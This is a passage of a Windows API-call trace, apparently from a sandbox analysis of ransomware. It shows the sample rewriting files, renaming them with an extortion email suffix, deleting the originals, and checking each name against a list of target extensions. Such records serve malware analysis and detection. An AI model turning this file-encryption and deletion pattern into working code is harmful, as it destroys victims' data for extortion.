	[0062.604] GetLastError () returned 0x0
	[0062.604] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xe76, lpOverlapped=0x0) returned 1
	[0062.605] WriteFile (in: hFile=0x368, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xe80, lpOverlapped=0x0) returned 1
	[0062.606] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.606] WriteFile (in: hFile=0x368, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0062.606] SetEndOfFile (hFile=0x368) returned 1
	[0062.607] CloseHandle (hObject=0x368) returned 1
	[0062.607] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.608] SetEndOfFile (hFile=0x2c8) returned 1
	[0062.608] CloseHandle (hObject=0x2c8) returned 1
	[0062.608] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.609] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 1
	[0062.609] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0062.609] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0062.609] lstrlenW (lpString=".doc") returned 4
	[0062.609] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.609] lstrlenW (lpString=".docx") returned 5
	[0062.609] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.609] lstrlenW (lpString=".pdf") returned 4
	[0062.609] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.609] lstrlenW (lpString=".xls") returned 4
	[0062.609] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.609] lstrlenW (lpString=".xlsx") returned 5
	[0062.609] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.609] lstrlenW (lpString=".ppt") returned 4
	[0062.609] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.609] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0062.609] lstrlenW (lpString=".zip") returned 4
	[0062.610] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.610] lstrlenW (lpString=".rar") returned 4
	[0062.610] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.610] lstrlenW (lpString=".bz2") returned 4
	[0062.610] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.610] lstrlenW (lpString=".7z") returned 3
	[0062.610] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0062.610] lstrlenW (lpString=".dbf") returned 4
	[0062.610] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0062.610] lstrlenW (lpString=".1cd") returned 4
	[0062.610] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0062.610] lstrlenW (lpString=".jpg") returned 4
	[0062.610] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0062.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0062.610] lstrlenW (lpString=".doc") returned 4
	[0062.610] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.610] lstrlenW (lpString=".docx") returned 5
	[0062.610] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.610] lstrlenW (lpString=".pdf") returned 4
	[0062.610] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.610] lstrlenW (lpString=".xls") returned 4
	[0062.610] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.610] lstrlenW (lpString=".xlsx") returned 5
	[0062.610] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.610] lstrlenW (lpString=".ppt") returned 4
	[0062.610] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0062.610] lstrlenW (lpString=".zip") returned 4
	[0062.611] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.611] lstrlenW (lpString=".rar") returned 4
	[0062.611] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.611] lstrlenW (lpString=".bz2") returned 4
	[0062.611] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.611] lstrlenW (lpString=".7z") returned 3
	[0062.611] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0062.611] lstrlenW (lpString=".dbf") returned 4
	[0062.611] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0062.611] lstrlenW (lpString=".1cd") returned 4
	[0062.611] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0062.611] lstrlenW (lpString=".jpg") returned 4
	[0062.611] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.611] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0062.611] lstrlenW (lpString="eula.rtf") returned 8
	[0062.611] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0062.611] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3859) returned 1
	[0062.612] CloseHandle (hObject=0x2c8) returned 1
	[0062.612] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80
	[0062.612] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.612] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0062.612] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.612] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.612] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0062.612] GetLastError () returned 0x0
	[0062.612] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xf13, lpOverlapped=0x0) returned 1
	[0062.614] WriteFile (in: hFile=0x368, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xf20, lpOverlapped=0x0) returned 1
	[0062.615] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.615] WriteFile (in: hFile=0x368, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0062.615] SetEndOfFile (hFile=0x368) returned 1
	[0062.615] CloseHandle (hObject=0x368) returned 1
	[0062.616] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.616] SetEndOfFile (hFile=0x2c8) returned 1
	[0062.617] CloseHandle (hObject=0x2c8) returned 1
	[0062.617] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.618] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 1
	[0062.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0062.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0062.618] lstrlenW (lpString=".doc") returned 4
	[0062.618] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.618] lstrlenW (lpString=".docx") returned 5
	[0062.618] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.618] lstrlenW (lpString=".pdf") returned 4
	[0062.618] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.618] lstrlenW (lpString=".xls") returned 4
	[0062.618] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.618] lstrlenW (lpString=".xlsx") returned 5
	[0062.618] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.618] lstrlenW (lpString=".ppt") returned 4
	[0062.618] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0062.618] lstrlenW (lpString=".zip") returned 4
	[0062.618] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.619] lstrlenW (lpString=".rar") returned 4
	[0062.619] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.619] lstrlenW (lpString=".bz2") returned 4
	[0062.619] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.619] lstrlenW (lpString=".7z") returned 3
	[0062.619] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0062.619] lstrlenW (lpString=".dbf") returned 4
	[0062.619] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0062.619] lstrlenW (lpString=".1cd") returned 4
	[0062.619] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0062.619] lstrlenW (lpString=".jpg") returned 4
	[0062.619] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0062.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0062.619] lstrlenW (lpString=".doc") returned 4
	[0062.619] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.619] lstrlenW (lpString=".docx") returned 5
	[0062.619] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.619] lstrlenW (lpString=".pdf") returned 4
	[0062.619] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.619] lstrlenW (lpString=".xls") returned 4
	[0062.619] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.619] lstrlenW (lpString=".xlsx") returned 5
	[0062.619] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.620] lstrlenW (lpString=".ppt") returned 4
	[0062.620] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0062.620] lstrlenW (lpString=".zip") returned 4
	[0062.620] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.620] lstrlenW (lpString=".rar") returned 4
	[0062.620] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.620] lstrlenW (lpString=".bz2") returned 4
	[0062.620] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.620] lstrlenW (lpString=".7z") returned 3
	[0062.620] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0062.620] lstrlenW (lpString=".dbf") returned 4
	[0062.620] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0062.620] lstrlenW (lpString=".1cd") returned 4
	[0062.620] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0062.620] lstrlenW (lpString=".jpg") returned 4
	[0062.620] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.620] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0062.620] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0062.620] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0062.621] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=76818) returned 1
	[0062.621] CloseHandle (hObject=0x2c8) returned 1
	[0062.621] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80
	[0062.621] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.621] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0062.621] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.621] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.621] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0062.622] GetLastError () returned 0x0
	[0062.622] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x12c12, lpOverlapped=0x0) returned 1
	[0062.624] WriteFile (in: hFile=0x368, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x12c20, lpOverlapped=0x0) returned 1
	[0062.627] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.627] WriteFile (in: hFile=0x368, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0062.627] SetEndOfFile (hFile=0x368) returned 1
	[0062.627] CloseHandle (hObject=0x368) returned 1
	[0062.629] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.629] SetEndOfFile (hFile=0x2c8) returned 1
	[0062.631] CloseHandle (hObject=0x2c8) returned 1
	[0062.631] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.631] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1
	[0062.631] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0062.631] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0062.632] lstrlenW (lpString=".doc") returned 4
	[0062.632] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.632] lstrlenW (lpString=".docx") returned 5
	[0062.632] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.632] lstrlenW (lpString=".pdf") returned 4
	[0062.632] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.632] lstrlenW (lpString=".xls") returned 4
	[0062.632] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.632] lstrlenW (lpString=".xlsx") returned 5
	[0062.632] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.632] lstrlenW (lpString=".ppt") returned 4
	[0062.632] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.632] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0062.632] lstrlenW (lpString=".zip") returned 4
	[0062.632] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.632] lstrlenW (lpString=".rar") returned 4
	[0062.632] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.632] lstrlenW (lpString=".bz2") returned 4
	[0062.632] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.632] lstrlenW (lpString=".7z") returned 3
	[0062.632] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.632] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0062.632] lstrlenW (lpString=".dbf") returned 4
	[0062.632] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.632] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0062.632] lstrlenW (lpString=".1cd") returned 4
	[0062.632] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.632] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0062.632] lstrlenW (lpString=".jpg") returned 4
	[0062.632] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0062.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0062.633] lstrlenW (lpString=".doc") returned 4
	[0062.633] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.633] lstrlenW (lpString=".docx") returned 5
	[0062.633] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.633] lstrlenW (lpString=".pdf") returned 4
	[0062.633] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.633] lstrlenW (lpString=".xls") returned 4
	[0062.633] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.633] lstrlenW (lpString=".xlsx") returned 5
	[0062.633] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.633] lstrlenW (lpString=".ppt") returned 4
	[0062.633] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0062.633] lstrlenW (lpString=".zip") returned 4
	[0062.633] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.633] lstrlenW (lpString=".rar") returned 4
	[0062.633] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.633] lstrlenW (lpString=".bz2") returned 4
	[0062.633] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.633] lstrlenW (lpString=".7z") returned 3
	[0062.633] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0062.633] lstrlenW (lpString=".dbf") returned 4
	[0062.633] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0062.633] lstrlenW (lpString=".1cd") returned 4
	[0062.633] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0062.634] lstrlenW (lpString=".jpg") returned 4
	[0062.634] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.634] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0062.634] lstrlenW (lpString="eula.rtf") returned 8
	[0062.634] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0062.635] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=5827) returned 1
	[0062.635] CloseHandle (hObject=0x2c8) returned 1
	[0062.635] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80
	[0062.635] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.635] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0062.635] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.635] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.635] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0062.635] GetLastError () returned 0x0
	[0062.635] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x16c3, lpOverlapped=0x0) returned 1
	[0063.012] WriteFile (in: hFile=0x368, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x16d0, lpOverlapped=0x0) returned 1
	[0063.013] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0063.014] WriteFile (in: hFile=0x368, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0063.014] SetEndOfFile (hFile=0x368) returned 1
	[0063.014] CloseHandle (hObject=0x368) returned 1
	[0063.015] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.015] SetEndOfFile (hFile=0x2c8) returned 1
	[0063.016] CloseHandle (hObject=0x2c8) returned 1
	[0063.016] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0063.017] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 1
	[0063.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0063.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0063.017] lstrlenW (lpString=".doc") returned 4
	[0063.017] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0063.017] lstrlenW (lpString=".docx") returned 5
	[0063.017] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0063.017] lstrlenW (lpString=".pdf") returned 4
	[0063.017] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0063.017] lstrlenW (lpString=".xls") returned 4
